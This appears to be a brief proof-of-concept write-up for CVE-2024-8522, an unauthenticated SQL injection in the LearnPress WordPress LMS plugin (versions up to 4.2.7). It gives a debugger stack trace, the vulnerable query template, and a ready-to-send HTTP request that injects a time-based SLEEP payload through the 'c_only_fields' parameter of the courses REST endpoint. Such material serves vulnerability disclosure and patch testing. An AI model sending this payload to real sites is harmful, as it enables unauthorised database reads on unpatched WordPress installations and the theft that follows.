WordPress LMS 4.2.7 SQL Injection

# CVE-2024-8522LearnPress – WordPress LMS Plugin <= 4.2.7 - Unauthenticated SQL Injection via 'c_only_fields'## Stack```txtclass-lp-db.php:702, LP_Database->execute()class-lp-course-db.php:564, LP_Course_DB->get_courses()Courses.php:241, LearnPress\Models\Courses::get_courses()class-lp-rest-courses-v1-controller.php:502, LP_Jwt_Courses_V1_Controller->get_courses()class-wp-rest-server.php:1230, WP_REST_Server->respond_to_request()class-wp-rest-server.php:1063, WP_REST_Server->dispatch()class-wp-rest-server.php:439, WP_REST_Server->serve_request()rest-api.php:420, rest_api_loaded()class-wp-hook.php:324, WP_Hook->apply_filters()class-wp-hook.php:348, WP_Hook->do_action()plugin.php:565, do_action_ref_array()class-wp.php:418, WP->parse_request()class-wp.php:813, WP->main()functions.php:1336, wp()wp-blog-header.php:16, require()index.php:17, {main}()```## <>```txtSELECT <> FROM wp_posts AS p WHERE 1=1 AND p.post_type = 'lp_course' AND p.post_status IN ('publish') ORDER BY post_date DESC LIMIT 0, 10```## PoC```httpGET /wp-json/learnpress/v1/courses?c_only_fields=IF(COUNT(*)!=-2,(SLEEP(10)),0) HTTP/1.1Host: localhost:8077User-Agent: curl/7.81.0Cookie: XDEBUG_SESSION=PHPSTORMAccept: */*```